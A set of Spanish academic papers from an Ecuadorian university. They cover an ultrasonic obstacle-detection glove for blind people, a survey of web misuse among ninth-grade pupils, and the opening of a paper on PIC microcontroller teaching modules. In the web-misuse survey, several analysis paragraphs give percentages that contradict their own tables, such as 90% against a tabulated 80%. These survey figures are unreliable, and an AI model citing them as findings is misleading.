En la actualidad, gracias a los avances tecnológicos se ha logrado desarrollar varias herramientas que facilitan la vida de las personas, la tecnología se ha vuelto parte de la vida, y es importante aplicarla especialmente en ayuda de personas que sufren alguna discapacidad, como es el caso de los invidentes, haciendo que ellos mejoren su calidad de vida. Sin embargo, mucha de la tecnología existente hoy en día ofrece poca ayuda a la sociedad invidente, sin contar con los elevados costos de la misma.

Una persona al no poseer el sentido de la vista siente la inseguridad para movilizarse de un lugar a otro sin importar la distancia, por lo que no podrá interactuar con normalidad con su entorno, lo que la hace susceptible de sufrir accidentes como lesiones, fracturas o alguna situación más grave. Dichas personas están obligadas a utilizar herramientas que les ayuden a percatarse de la presencia de objetos en su recorrido, sin embargo, el acceso a dispositivos o herramientas que les permitan una mejor adaptación e inclusión en la cotidianidad es limitado.

En el Ecuador según una investigación del CONADIS hasta el año 2018 dio como resultado que existen 54.284 personas con discapacidad visual en el país, mientras que en la ciudad de Jipijapa existen 274 personas con discapacidad visual, esto demuestra que las limitaciones visuales afectan fuertemente a los ecuatorianos. Para solucionar estos inconvenientes se realizó un análisis de los problemas y dificultades que presentan las personas con discapacidad visual al desplazarse de un lugar a otro, con el fin de determinar los requerimientos necesarios para el desarrollo de un prototipo que integre tecnologías de localización para poder ofrecer mayor independencia y seguridad a personas con discapacidad visual.

El prototipo de guante ultrasónico para personas con discapacidad visual, se basa en sensores de distancia que emiten ondas imperceptibles al oído humano que al chocar con algún obstáculo permite a la persona con discapacidad detectar el eco reflejado, y a su vez indica la proximidad o la distancia del objeto. Con la ayuda de un microcontrolador evaluara si es necesario emitir la alerta para prevenir a las personas con discapacidad evadir el obstáculo que se encuentre en su camino.

DESARROLLO

En este estudio se busca explorar la realidad que hay entre las personas no videntes y el problema que tienen a diario con su entorno que los rodea. El Consejo Nacional para la igualdad de discapacidad afirma que hay 458.811 personas con diversos tipos y grado de discapacidades en el Ecuador, el 56,17% son masculino y el 43,83% femeninos.

Según datos registrado por el Consejo Nacional de Discapacidad CONADIS hay 272 personas con discapacidad visual en la ciudad de Jipijapa, las dificultades para identificar los obstáculos para las personas no vidente se torna cada vez más un problema al momento de desplazamiento de un lugar a otro, en la actualidad utiliza un bastón de madera para detectar limitación y superficie sobre lo cual caminan, no les brinda la suficiente ayuda para identificar los peligros.

(Cevallos A. , 2017) Estima que esta cifra aumenta cada año debido a diversos factores como las situaciones económicas de las personas, o la falta de conocimiento acerca de la discapacidad, sus causas, prevención y tratamiento. La discriminación que han sufrido estas personas a lo largo del tiempo, es un factor crítico que influye en la vida cotidiana de ellos al no poder realizar sus tareas como una persona vidente. Estos son consecuencia de los obstáculos que entorpecen el acceso de las personas con discapacidad visual.

Para dar solución al problema mediante el estudio se ha encontrado que la realización de un prototipo de guante con sensores ultrasónicos el cual permitirá a la persona con discapacidad visual detectar los objetos a una distancia entre los 80cm, 90cm que se encuentre el obstáculo mediante los sensores ultrasónicos, ya que está inspirado en el sistema de eco localización de los murciélagos los cuales son capaces de enviar señales de alta frecuencias que el oído humano no puede captar.

El autor (Prieto Acevedo, 2016), En su trabajo de investigación demostraron un sistema capaz de ayudar a las personas con discapacidad visual al detectar espacios, ellos ven la necesidad de genera un sistema de prevención para resolver el problema de una persona no vidente, que esto permita identificar los objetos que este alrededor de ellos sin ayuda de terceros, conduciendo la idea de desarrollar este dispositivo el Blind tact.

Para (Azaña & Vizueta, 2017), indican que, usando sensores de distancia por ultrasonido, proporcionan al usuario información para detectar un posible obstáculo, además permite conocer la ubicación de la persona. Aclara también que la información que ingresa al dispositivo calculando la distancia y previniendo un posible accidente, todo esto gracias a un sistema de continuidad que lee simultanea mente los datos y los envía al receptor.

De manera que (Cortés, 2017), Expresa que debe haber normas que regulen el acceso de las personas con discapacidad visual a todas las actividades culturales que promuevan el desarrollo integral, el tipo de ceguera, es un factor importante porque los ciegos adquiridos han desarrollado representaciones gráficas diferentes a las de las personas con ceguera congénita, al darse cuenta de que muchos de los participantes podrían hacer cambios en la imagen.

Según (Cadavid, Sánchez, & Muñoz, 2017), expresa que las personas con discapacidad tienen mayor demanda de atención en salud y más necesidades insatisfechas que quienes no presentan discapacidad, esto se puede tornar como una dificultad en el momento, pero cada uno ha logrado anteponerse a este problema, ya que su progreso es favorable en cada progreso laboral de esta sociedad.

Conforme a lo expresado por (Bonilla & Gamboa, 2017), manifiestan que la evolución en los medios de comunicación, en especial Internet, facilitan el traslado de los mensajes a las personas con discapacidad visual. Se plantea determinar la accesibilidad a la información en la inclusión social de las personas con discapacidad visual en la provincia de Tungurahua, a través de la identificación de medios de información y comunicación, con el establecimiento de mecanismos de accesibilidad e inclusión.

Según (Cedeño Montalvan & Ramos, 2016), indican que la principal vivencia en la formación ecuatoriana es la atención a la diversidad y la práctica del enfoque inclusivo, para los discapacitados visuales, pero de manera progresiva se muestra el avance de las personas ciegas y débiles visuales en la carrera de Psicología Clínica, dando un enfoque erudito y de recursos didácticos que ayudan a mejorar el nivel de educación de hoy en día.

MATERIALES Y MÉTODOS

Como métodos se utilizó diagnostica- propositiva, para poder determinar los inconvenientes que tienen que pasar las personas con este tipo de discapacidad y determinar las ventajas que el uso del guante ultrasónico les brindara.

También se utilizó la metodología cualitativa- cuantitativa, ya que se pudo realizar un sondeo mediante entrevistas en el campo de estudio dirigida a la población involucrada para la utilización de un guante con sensores ultrasónicos como guía para las personas con discapacidad visual el mismo que servirá de apoyo para las personas antes mencionadas. Por lo consiguiente, para la obtención de los datos relevantes del estudio se utilizó la población de 157 estudiantes de la carrera teniendo como muestra de 111 estudiantes, población asumida en el trabajo de investigación.

Se utilizó el método bibliográfico, este método permitió acceder a la información necesaria para fundamentar el trabajo realizado con la ayuda de diferentes medios, tales como: libros, revistas científicas e internet.

De los métodos estadísticos matemáticos se requirió la Estadística Diferencial en esta investigación, la cual nos permitió representar mediante gráficos los resultados obtenidos en la encuesta del presente artículo investigativo como se muestra a continuación:

Tabla 1: Guante con sensores ultrasónicos

Descripción	Frecuencia	Porcentaje %
Si	90	81%
No	21	19%
Total	111	100%

RESULTADOS Y DISCUSIÓN

Encuesta dirigida a los estudiantes de la Carrera de Ingeniería en Computación y Redes.

1) ¿Considera usted que se pueda utilizar un guante con sensores ultrasónicos como guía para las personas con discapacidad visual?

Tabla 1: Guante con sensores ultrasónicos

Descripción	Frecuencia	Porcentaje %
Si	90	81%
No	21	19%
Total	111	100%

Fuente: Estudiantes de la “Carrera de Ingeniería en Computación y Redes”

Elaborado por: Grace Figueroa, Luis Pacheco, Nicole Rodriguez.

Gráfico 1: Guante con sensores ultrasónicos como guía para las personas con discapacidad visual

Fuente: Estudiantes de la “Carrera de Ingeniería en Computación y Red

Elaborado por: Grace Figueroa, Luis Pacheco, Nicole Rodriguez.

Análisis e interpretación

El 81% de los encuestados si considera factible la utilización de un guante con sensores ultrasónicos como guía para las personas con discapacidad visual, mientras que el 19% no está de acuerdo. Esto demuestra que la utilización de un guante con sensores ultrasónicos ayudará en la movilización de las personas con discapacidad visual.

CONCLUSIONES

- Debido a que hoy en día muchas personas tienen limitada visión, se desarrolló este tipo de guante el cual facilitara la forma de vida de las personas con discapacidad visual, pues los beneficios que otorga la utilización de un guante ultrasónico son muy favorables.
- Mediante el uso de este tipo de guante ultrasónico las personas con discapacidad visual podrán sustituir su bastón, por este guante ya que será capaz de percibir los obstáculos a una distancia de 80cm, el cual emitirá un sonido y a la vez vibrará cuando este detecte un obstáculo, poniendo en alerta al usuario.

- El uso del guante ultrasónico permite que una persona invidente mantenga una autoestima alto porque se vuelve hasta cierto punto independiente gracias a la ayuda que este dispositivo brinda al momento de movilizarse de un lugar a otro.

RECOMENDACIONES

- Utilizar elementos electrónicos de última generación que permitan desarrollar dispositivos que sean capaces de contribuir a la sociedad, sobre todo para ayudar a personas con capacidades especiales.
- Se espera que mediante los hallazgos de esta investigación en relación a el desarrollo y beneficios que aporta el guante ultrasónico a personas con discapacidad visual, favorezcan la sensibilidad institucional a nivel nacional, de manera que se generen proyectos de inversión alrededor de esta solución como estrategia de inclusión de personas con este tipo de discapacidad.
- Mejorar el prototipo de guante con sensores ultrasónicos con componentes electrónicos que tengan mayor alcance de proximidad el cual permite que las personas con discapacidad visual puedan prevenir los obstáculos con mayor facilidad.

REFERENCIAS BIBLIOGRÁFICAS

- Azaña, C. R., & Vizueta, J. C. (2017). *Diseño y construcción de un prototipo de guante con orientación y localización para ayuda en la movilidad de personas invidentes*. Quito: Politécnica Nacional.
- Bonilla, S., & Gamboa. (2017). *Evolución en los medios de comunicación*. Tesis, Tungurahua.
- Cadavid, M., Sánchez, C., & Muñoz, A. (2017). Barrera y necesidades de información sobre medicamentos en pacientes con discapacidad visual. *UPV*, 4.
- Cedeño Montalvan, Á., & Ramos, V. (2016). *Enfoque inclusivo en la formación ecuatoriana*. Psicología Clínica. Guayaquil: Universidad Catolica Santiago de Guayaquil.
- Cevallos, A. (2017). *Discriminación que sufren personas con discapacidades*. Departamento de Ciencias de la Salud. Guayaquil: Universidad de Guayaquil.
- Cortés, J. E. (2017). La construcción del derecho a la cultura, la apreaciación para las personas con discapacidades. *RIDE*, 8.

Kumar, Y., Suhasini, Venkatesh, Reddy, P., & Ramanarayanan. (2015). Instrumentación basada en ultrasonidos para medir el nivel higroscópico del sal fundida a altas temperaturas. *IEEE*, 3.

Macias, R. P. (s.f.). *Maestria en educacion especial con mencion de educacion de las personas con discapacidad visual*. Guayaquil: unidad de posgrados sede guayaquil.

Prieto Acevedo, D. F. (2016). *Sistema de detección de objetos para las personas con discapacidad visual*. Bachelor's Thesis: Bogota.

ANEXOS

BIOGRAFÍAS DE AUTORES

Lcda. Grace Liliana Figueroa Morán, MG. IE. Magister en Informática Empresarial, Lcda. En Ciencia de la Educación especialidad Informática Docente de la Universidad Estatal del Sur de Manabí

Elizabeth Nicole Rodríguez Guale, Estudiante de la Carrera de Ingeniería en Computación y Redes de la Universidad Estatal del Sur de Manabí, del Cantón Jipijapa- Manabí-Ecuador; graduado de Bachiller Químico - Biólogo en la Unidad Educativa Eduardo Granja Garcés, del Cantón Pedro Carbo - Guayas- Ecuador

Luis Alberto Pacheco Barzola, Estudiante de la Carrera de Ingeniería en Computación y Redes.

Ing. Julio Paladines Morán, MG. IE. Magister en Informática Empresarial, Ingeniero en Sistema Docente de la Universidad Estatal del Sur de Manabí

INCIDENCIA DEL MAL USO DE LA WEB Y SEGURIDAD EN EL PROCESO DE APRENDIZAJE EN ESTUDIANTES DEL NOVENO AÑO BÁSICO

Elvis Gonzalo Delgado Indio

Rocío Auxiliadora Vera Cedeño

Ing. Julio Pedro Paladines Morán MG. IE

Lcda. Grace Liliana Figueroa Morán, MG. IE.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

delvisgonzalo@hotmail.com

RESUMEN

En el presente trabajo de investigación se analizó que la incidencia del mal uso de la web y seguridad en el proceso de aprendizaje en la adolescencia y juventud son un colectivo de riesgo ante el uso que hacen de las Nuevas Tecnologías de la Información y la web y seguridad ya que son sensibles al momento y al entorno social en el que viven durante 2018 - 2019, y además clasificar este uso entre uso no problemático, como incide el mal uso de la web y seguridad. La muestra está compuesta por 188 sujetos de edades comprendidas entre 12y15 años. Los instrumentos de evaluación utilizados han sido un cuestionario sociodemográfico de elaboración propia, un cuestionario de uso general del mal uso de la web y seguridad en el proceso de aprendizaje. Los resultados indican que la mayoría de adolescentes y jóvenes se mueven en un uso normal o problemático ocasional de Internet, aunque un mal uso de estas tecnologías puede llevar consecuencias negativas de índole académica, familiar relacional que merecen nuestra atención.

PALABRAS CLAVES: Seguridad, aprendizaje, jóvenes, mal uso de la Web.

ABSTRACT

In the present research work, it was analyzed that the incidence of misuse of the web and security in the learning process in adolescence and youth are a risk group before the use made of the New Information Technologies and the web and security since they are sensitive to the moment and to the social environment in which they live during 2018 - 2019, and also to classify this use between non-problematic use, as the misuse of the web and security affects. The sample consists of 188 subjects aged between 12 and 15 years. The assessment instruments used have been a sociodemographic questionnaire of own elaboration, a questionnaire of

general use of the misuse of the web and security in the learning process. The results indicate that the majority of adolescents and young people move in an occasional normal or problematic use of the Internet, although a misuse of these technologies can lead to negative consequences of an academic, relational family nature that deserve our attention.

KEYWORDS: Security, learning, young people, misuse of the Web.

INTRODUCCIÓN

En la actualidad el internet se ha constituido en una herramienta fundamental en la vida de todas las personas, a tal punto que resulta imprescindible utilizarlo, ha facilitado el manejo de muchas aplicaciones que de alguna forma han llamado la atención, sobre todo en los adolescentes, en su afán de estar conectados al ciberespacio por medio de modernos celulares, tener comunicación directa, en todo momento, con amigos, compañeros y conformar grupos de cibernautas.

En la actualidad, la totalidad de la población joven utiliza Internet: accede a videojuegos, música, a sitios de intercambio y creación de contenidos, videoconferencias, redes sociales, motores de búsqueda, etc. En forma paralela a estos avances y nuevas demandas, aparece en la Red diversas amenazas. De hecho, conviven en el ciberespacio el “cyberbullying” (acoso por medio de la Red) el “phishing” (solicitud ilegal de claves) o el “grooming” (sustitución de identidades que se hacen pasar por menores).

“En este entorno se desenvuelven, relacionan y conviven virtualmente los niños y adolescentes, que, al ser nativos digitales, cuentan con las habilidades propias del autoaprendizaje, aunque en varias ocasiones, no toman las precauciones más vinculadas de los que no son propiamente nativos”.

El objetivo de este artículo es presentar los resultados de una investigación realizada, con la finalidad de conocer los diferentes hábitos que los adolescentes tienen en el uso del Internet y establecer pautas necesarias para la utilización adecuada de la red. Este uso desmedido del internet ha provocado un problema social, que si no se lo atiende de carácter urgente podría afectar especialmente a este grupo vulnerable, situación que los absorbe la mayor cantidad de tiempo.

Pasan gran cantidad de horas frente a la pantalla, no se dan cuenta lo que ocurre a su alrededor, y están solo pendiente de ese mundo virtual, causándole, por ejemplo, “estados de somnolencia,

alteraciones en su estado de ánimo o una reducción significativa de las horas que dedica al estudio o a otras obligaciones.

DESARROLLO

La web y seguridad

García Laborda, J. (2015). Determino que el uso masivo por parte de los estudiantes de los dispositivos electrónicos móviles y de las herramientas y recursos web influye directamente en sus ambientes propios de aprendizaje. Los autores realizaron la presente investigación acerca del acceso y las preferencias de los dispositivos electrónicos por parte de los alumnos universitarios. Se resultados de este estudio indicaron que la implementación de los (MPLE) permitieron identificar el buen funcionamiento en la Universidad Nacional de Chimborazo en Ecuador.

Cabrera Torres, A. A., Chacon Luna, A., & Vera Paredes, D. (2015). Realizaron pasos para implantar las incompatibilidades necesarias en la problemática establecida, los autores realizaron estudios necesarios por establecieron encuestas a jóvenes de 15 a 19 años, en donde se dio a conocer que el mayor tiempo que pasan en los nuevos medios tecnológicos, los resultados indicaron que las encuestas que fueron realizadas a personas concernientes con la problemática, permitiendo el análisis y explicación de la problemática para mejorar el buen manejo tecnológicos y establecer el buen hábito de forma virtual o físico.

Torres, A. A. C., Luna, A. C., & Paredes, D. V. (2015). Los autores indicaron que la web puede ser muy peligrosa, ya que se exponen al navegar en ella, como la exhibición a material pornográfico, violencia, drogas, juegos de apuestas, abuso y corrupción de menores. Los autores realizaron un informe a través del cual se dio a conocer una investigación por la cual se tomó una muestra de una población de estudiantes de nivel medio del Cantón Milagro, Ecuador. El resultado indico un análisis estadístico, mediante el cual se pudo deducir las diferentes tendencias que tienen los adolescentes en el uso de internet.

Proceso de enseñanza y aprendizaje

García-Beltrán, Á., Martínez, R., Jaén, J. A., & Tapia, S. (2016). Realizaron una autoevaluación como actividad docente en entornos virtuales de aprendizaje/enseñanza. Los autores afirman que permitir medir y valorar la bondad del asunto de aprendizaje considerado globalmente, tanto de la programación como de la puesta en práctica del mismo. Los resultados

de esta investigación es la necesidad de reestructurarlo en mayor o menor medida con el objetivo de mejorarlo.

Elena Barberà (2016). Realizaron una exposición de un concepto complejo de evaluación de las enseñanzas que incluye cuatro dimensiones que se consideran básicas para una práctica evaluativa completa. El método utilizado fue la evaluación automática, la evaluación enciclopédica y la evaluación colaborativa. Los resultados de este artículo acaban resaltando el valor de los métodos comunicativos de las derivaciones a los alumnos y, en concreto, la retroalimentación y la necesidad que brinda la tecnología para su aprovechamiento.

González, D., & Esteves, L. (2016). Dieron a conocer los aspectos cruciales para el aprendizaje, su uso no ha sido explotado en todas sus potencialidades en el campo de la enseñanza. Los autores comentan que el estudio que presentamos, se ha hecho un análisis de conversación a transcripciones de sesiones de chat, donde grupos de estudiantes realizaban tareas colaborativas. Los resultados parecen indicar que los estudiantes estuvieron construyendo la clase de discurso que, conduce a la enseñanza de los distintos campos de preparación.

MATERIALES Y MÉTODOS

Como métodos se utilizó análisis-síntesis para descomponer el problema en elementos separados y posteriormente se realizó la determinación la incidencia del mal uso de la web y seguridad en el proceso de enseñanza y aprendizaje. Por lo consiguiente, para la obtención de los datos relevantes del estudio se utilizó la muestra de 188 estudiantes que representa el 52% de la población asumida en el trabajo de investigación.

Se utilizó el método bibliográfico, este método permitió acceder a la información necesaria para fundamentar el trabajo realizado con la ayuda de diferentes medios, tales como: libros, revistas científicas e internet.

De los métodos estadísticos matemáticos se requirió la Estadística Diferencial en esta investigación, la cual nos permitió representar mediante gráficos los resultados obtenidos en la encuesta del presente proyecto de investigación como se muestra a continuación:

RESULTADOS Y DISCUSIÓN

Encuesta dirigida a la población de la Unidad Educativa "Puerto Cayo",

Pregunta 2: ¿Cree usted que la aplicación de las tecnologías ayudara a regenerar sus conocimientos?

Alternativas	Respuestas	Porcentajes
SI	102	54%
No	23	12%
Talvez	63	34%
Total	188	100%

Fuente: Jóvenes y Adolescentes
Autores: Elvis Delgado, Roció Vera

ANALISIS:

Mediante los resultados obtenidos el 54% de los Jóvenes y Adolescentes están de acuerdo que la aplicación de las tecnologías ayudara a regenerar sus conocimientos, el 34% está indeciso y el 12% no sabe de qué trata el tema.

INTERPRETACION:

Desde un punto de vista notamos que un conjunto de los encuestados cree que las aplicaciones de las tecnologías ayudaran a regenerar los conocimientos.

Pregunta 4: ¿Considera usted que los medios de información tecnológicos favorecen su desarrollo profesional?

Alternativas	Respuestas	Porcentajes
--------------	------------	-------------

SI	150	80%
No	5	3%
Talvez	33	18%
Total	188	100%

Fuente: Jóvenes y Adolescentes
Autores: Elvis Delgado, Roció Vera

ANALISIS:

Mediante la investigación se obtuvo que el 90% de los Jóvenes y Adolescentes consideran que los medios de información tecnológicos favorecen su desarrollo académico, el 8% aun lo piensan y el 2% no están de acuerdo.

INTERPRETACION:

Desde un punto de vista notamos que la mayoría de los encuestados si consideran que los medios de información tecnológicos favorecen si desarrollo académico.

Pregunta 9: ¿Considera usted que la web es un lugar de multimedialidad que posee contenidos científicos, impactantes y poco recomendables considerados delictivos?

Alternativas	Respuestas	Porcentajes
SI	170	90%
No	2	1%
Talvez	16	9%
Total	188	100%

Fuente: Jóvenes y Adolescentes
Autores: Elvis Delgado, Roció Vera

ANALISIS:

Mediante la encuesta realizada sobre la web es un lugar de contenidos científicos, el 90% dice que si está de acuerdo, el 2% no está de acuerdo y el 8% está indeciso.

INTERPRETACION:

Desde un punto de vista notamos que el 2% del encuestado no están de acuerdo que la web es un lugar de multimedialidad que posee contenidos científicos.

Pregunta 10: ¿Cree usted que la web o internet es uno de los causantes del IAD (Internet Addiction Disorder), trastorno de adicción a internet?

Alternativas	Respuestas	Porcentajes
SI	170	90%
No	10	5%
Talvez	8	4%
Total	188	100%

Fuente: Jóvenes y Adolescentes
Autores: Elvis Delgado, Roció Vera

Figuras y Graficos #10

ANALISIS:

Mediante la encuesta realizada sobre la web si es uno de los de los causantes del IAD, el 90% si está de acuerdo sobre la adición, el 2% dice que no, y el 8% está indeciso.

INTERPRETACION:

Desde un punto de vista notamos que la mayoría de los encuestados creen que la web o internet es uno de los causantes del IAD.

Pregunta 12: ¿Considera usted que a través del internet se obtiene información con (fiabilidad, autenticidad, actualidad)?

Alternativas	Respuestas	Porcentajes
SI	125	66%
No	35	19%
Talvez	28	15%
Total	188	100%

Fuente: Jóvenes y Adolescentes
Autores: Elvis Delgado, Roció Vera

Figuras y Graficos #12

ANALISIS:

Mediante la encuesta realizada sobre que a través del internet se obtiene información con fiabilidad, el 90% si está de acuerdo, el 2% no está de acuerdo, y el 8% están indecisos.

INTERPRETACION:

Desde un punto de vista notamos que el 8% de los encuestados no está de acuerdo que a través del internet se obtiene información con fiabilidad.

Pregunta 13: ¿Considera usted que es necesario utilizar software para la protección web, para privatizar fuentes inadecuadas?

Alternativas	Respuestas	Porcentajes
SI	165	88%
No	15	8%
Talvez	8	4%
Total	188	100%

Fuente: Jóvenes y Adolescentes
Autores: Elvis Delgado, Roció Vera

Figuras y Graficos #13

ANALISIS:

Mediante la encuesta realizada sobre el conocimiento adquirido por los medios de información, el 90% están de acuerdo que si tienen conocimientos, el 8% está indeciso, y el 2% no tiene el conocimiento a la ideología de la realidad global.

INTERPRETACION:

Desde un punto de vista notamos que la mayoría de los encuestados si consideran que es necesario utilizar software para la protección web.

Pregunta 15: ¿Considera usted que las redes sociales son uno de los causantes del déficit de conocimiento y desenvolvimiento profesional?

Alternativas	Respuestas	Porcentajes
SI	180	96%
No	3	2%
Talvez	5	3%
Total	188	100%

Fuente: Jóvenes y Adolescentes
Autores: Elvis Delgado, Roció Vera

Figuras y Graficos #15

ANALISIS:

Mediante la encuesta realizada sobre las redes sociales son uno de los causantes del déficit, de conocimientos y desenvolvimiento académico, el 92% si está de acuerdo, el 2% no está de acuerdo y el 8% no está de acuerdo.

INTERPRETACION:

Desde un punto de vista notamos que la mayoría de los encuestados si consideran que las redes sociales son uno de los causantes el déficit de conocimiento.

CONCLUSIONES

- Determinar incidencia del mal uso de la web y seguridad en la mayoría de los jóvenes y adolescentes define su afinidad por conectarse a la red, siendo el principal instrumento para su alcance los dispositivos informáticos como computadora, celulares inteligentes en cualquier parte de donde estén, siendo evidente el mal uso de este sistema tecnológico de diversidad.
- Se logró identificar las páginas que frecuentemente son utilizadas por los adolescentes como redes sociales, 18+, You Tuve, se constituye en la página de elección en la web por los jóvenes y adolescentes.
- Se concluyó que la implementación de un plan de capacitación para el buen uso de la web y seguridad, permite sacarle provecho ya que con la capacitación se logró sacarle el máximo provecho del buen uso de la web.

RECOMENDACIONES

- La Escala de Adicción a Internet en la población de jóvenes, si bien esta validada, no presenta punto de corte para determinar la Adicción a Internet, en razón a ello, se requieren mayores investigaciones para su corte y tener una mejor aplicabilidad en el proceso de conocimiento académico.
- El poco interés en los estudios acerca de Adicción a Internet y su entorno familiar, hace plausible y prioritario el acercamiento a investigaciones más profundas para dar sobre esta situación en la actualidad.
- Las actitudes y prácticas acerca del internet en adolescentes deben ser tomados en cuenta, y más que ellos deben constituir uno de los primordiales abordajes en el futuro hacia las nuevas generaciones.
- Es importante determinar un nuevo sistema de seguridad web para la atención por los altos sitios de gran relevancia en los adolescentes hoy en día, como uso de la tecnología, considerando que nuestra sociedad avanza a movimientos enormes hacia un mundo digitalizado, pero estas tienen sus consecuencias su mal uso es descendente al proceso de aprendizaje académico y ética profesional.

REFERENCIAS BIBLIOGRÁFICAS

- Barberá, E. (15 de Julio de 2016). Aportaciones de la tecnología a la e-Evaluación. *Educación a Distancia*, 50. doi:<http://dx.doi.org/10.60.18/red/50/40>. Catalunya, España.
- Cabrera Torres, A. A. (31 de Mayo de 2015). Incidencia del Uso de internet en los adolescentes de las instituciones de educación media. *Ciencia UNEMI*, 8. Milagro, Ecuador.
- García Laborda, J. (2015). Cambios en los estilos de aprendizaje inducidos por el uso de la web social. España.
- García-Beltrán, Á. M. (2016). autoevaluación como actividad docente en entornos virtuales de aprendizaje/enseñanza. *Educación a Distancia*, 50. México.
- González, D. &. (2016). El chat como medio de enseñanza y aprendizaje colaborativo en EFL. *Un análisis de conversación*, 129-162. Maracay, Venezuela
- Torres, A. A. (2015). Incidencia del uso del internet en los adolescentes de las instituciones de educación media. *Educación Media*. Milagro, Ecuador

BIOGRAFÍAS DE AUTORES

Elvis Gonzalo Delgado Indio, Estudiante de la Carrera de Ingeniería en Computación y Redes de la Universidad Estatal del Sur de Manabí, del Cantón Jipijapa- Manabí-Ecuador; graduado de Bachiller en Químico-Biológicas en el colegio Nacional Puerto Cayo Manabí- Ecuador, graduado de Tecnólogo en PESCA ARTESANAL en el Instituto Tecnológico Superior Luis Arboleda Martínez, del cantón Manta- Manabí- Ecuador.

Rocío Auxiliadora Vera Cedeño, Estudiante de la Carrera de Ingeniería en Computación y Redes de la Universidad Estatal del Sur de Manabí, del Cantón Jipijapa- Manabí-Ecuador; graduada de Bachiller en Ciencia Comercio Administración en la Unidad Educativa Fiscal 5 de junio, del Cantón Manta- Manabí- Ecuador.

Ing. Julio Pedro Paladines Morán MG. IE, Magister en Informática Empresarial, Especialista en Redes de Comunicación de Datos, Diplomado en Sistemas de Información Empresarial, Diplomado en Autoeval. y Acreditación Universitaria, Ingeniero en Sistemas, Bachiller en FISICO MATEMÁTICO. Docente de la Carrera de Ingeniería en Computación y Redes.

Lcda. Grace Liliana Figueroa Morán, MG. IE., Magister en Informática Empresarial, Lcda. En Ciencia de la Educación especialidad Informática Docente de la Universidad Estatal del Sur de Manabí

USO DE MÓDULOS CON MICROCONTROLADORES PIC COMO HERRAMIENTAS DIDÁCTICAS PARA EL FORTALECIMIENTO EN EL PROCESO DE ENSEÑANZA APRENDIZAJE

Martha Irene Romero Castro

Alberto Rodríguez Rodríguez

Marco Antonio Toala Pilay

Carme Lelys Romero Castro

Jimena Jazmín Macías Quiroz

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

martha.romero@unesum.edu.ec

alberto.rodriguez@unesum.edu.ec

toala.marco@unesum.edu.ec

carmen.romero@unesum.edu.ec

xijamaquiroz@gmail.com

RESUMEN

La investigación titulada diseño de un módulo con microcontroladores Pic como herramienta didáctica para el fortalecimiento en el proceso de enseñanza aprendizaje de la asignatura de Robótica de la Carrera de Ingeniería en Computación y Redes, se considera tomando en cuenta la escasa disponibilidad de herramientas didácticas para el desarrollo de habilidades y destrezas en el proceso de formación de los estudiantes de la carrera de Ingeniería en Computación y Redes, mediante su elaboración se busca brindar un aporte que ayude a superar esta deficiencia, se plantea como objetivo general diseñar un módulo con microcontroladores como herramienta didáctica para el fortalecimiento del proceso enseñanza aprendizaje de la asignatura de Robótica de la carrera Ingeniería en Computación y Redes, se elaboraron objetivos específicos para identificar las funciones y características del módulo de microcontroladores como herramienta didáctica para la enseñanza de la asignatura de Robótica, se estableció los componentes del módulo de microcontroladores para desarrollar habilidades y destrezas que permitan mejorar el proceso enseñanza aprendizaje de la asignatura de Robótica y se desarrolló el módulo de microcontroladores como herramienta didáctica para el fortalecimiento del proceso enseñanza aprendizaje de la asignatura de Robótica de la carrera Ingeniería en Computación y Redes. en este tipo de sistemas es un campo de investigación multidisciplinario y aun desafiante.

PALABRAS CLAVES: Microcontroladores, proceso enseñanza aprendizaje, Robótica, Ciencia Computacional.

ABSTRACT

This research is focused on the design of a module with Pic microcontrollers as a didactic tool for the strengthening of the teaching of the robotics course in Computational Sciences and Networking Engineering for accomplishing this, it is important taking into account the scarce availability of didactic tools for the development of skills in the training process of the students of Computational and Networking Engineering. Through its elaboration is intended to provide a contribution to help overcome this deficiency, a general objective was established to design a module with microcontrollers as teaching tool for strengthening the learning process of the robotics course in Computational Sciences and Networking Engineering. The specific objectives are worked out to identify the functions and characteristics of the microcontroller module as a didactic tool for the teaching of robotics subject, to establish the microcontroller module components to develop skills and abilities to improve the learning process of the robotics subject and to develop the microcontroller module as a didactic tool to strengthen the learning process of the robotics course of the degree in Computational Sciences and Networking Engineering.

KEYWORDS: Microcontrollers Pic, teaching learning process, Robotics, Computational Sciences.

INTRODUCCIÓN

Para el desarrollo investigativo se toma como referencia trabajos realizados a nivel internacional, nacional y local, las que se detallan a continuación:

Investigación de la Universidad Politécnica de Valencia perteneciente a España, titulada “Desarrollo de un pequeño robot móvil basado en un microcontrolador”, en la que se expusieron tanto los requisitos de software como de hardware necesarios para la realización del proyecto, el diseño mismo del robot, las herramientas y el entorno utilizados, el desarrollo de la programación y el hardware y las pruebas realizadas para el perfecto funcionamiento del robot. (Cilla, 2014).

Investigación de la Universidad Nacional de México titulada “Aplicaciones de la programación de microcontroladores Pícs, trabajo en que él se expone y detalla la importancia didáctica y pedagógica de los microcontroladores Pícs, arquitectura, sus variedades y utilidades, cada una de las partes del hardware y software necesarias para programar los microcontroladores Pícs, y su aplicación en el aula de clases como medio de aprendizaje. (Salgado, 2016).

Trabajo publicado por el Instituto Politécnico Nacional de México, titulado “Tarjeta de desarrollo para microcontroladores PIC” con el objetivo de diseñar y construir una Tarjeta de Desarrollo para Microcontroladores PIC para el diseño de aplicaciones de control con fines didácticos, que se presentó en una estructura modular, se analiza la repercusión del empleo de la arquitectura de los microcontroladores PIC en la organización de la memoria del sistema. (Melchor, 2013).

Investigación de Buchan, (2012) con el tema Diseño de un sistema de desarrollo para la enseñanza de la Robótica Básica del Instituto Politécnico Nacional quien propuso el diseño y construcción de un sistema de desarrollo o robot educativo.

Investigación el tema Módulo de entrenamiento basado en microcontroladores PIC Diseño e implementación de la Universidad Autónoma Indígena de México quien desarrollo un sistema para hacer posible la implementación de aplicaciones para el control de proceso y monitoreo de datos basados en un microcontrolador que le proporcione al usuario una herramienta fácil de usarse para el desarrollo de aplicaciones de control basadas en MCU. (Fonseca, 2011).

Investigación de la Escuela Superior Politécnica del Litoral con el tema “Análisis, diseño e implementación de un sistema de control de focos incandescentes en los hogares por medio de un control Remoto Universal, en su desarrollo se realizó un prototipo experimental para el manejo efectivo de audio producido en un concierto implementando un circuito utilizando microcontroladores que permite controlar el sistema de encendido y apagado de luces en base a frecuencias generados por los instrumentos. (Yagual, 2015).

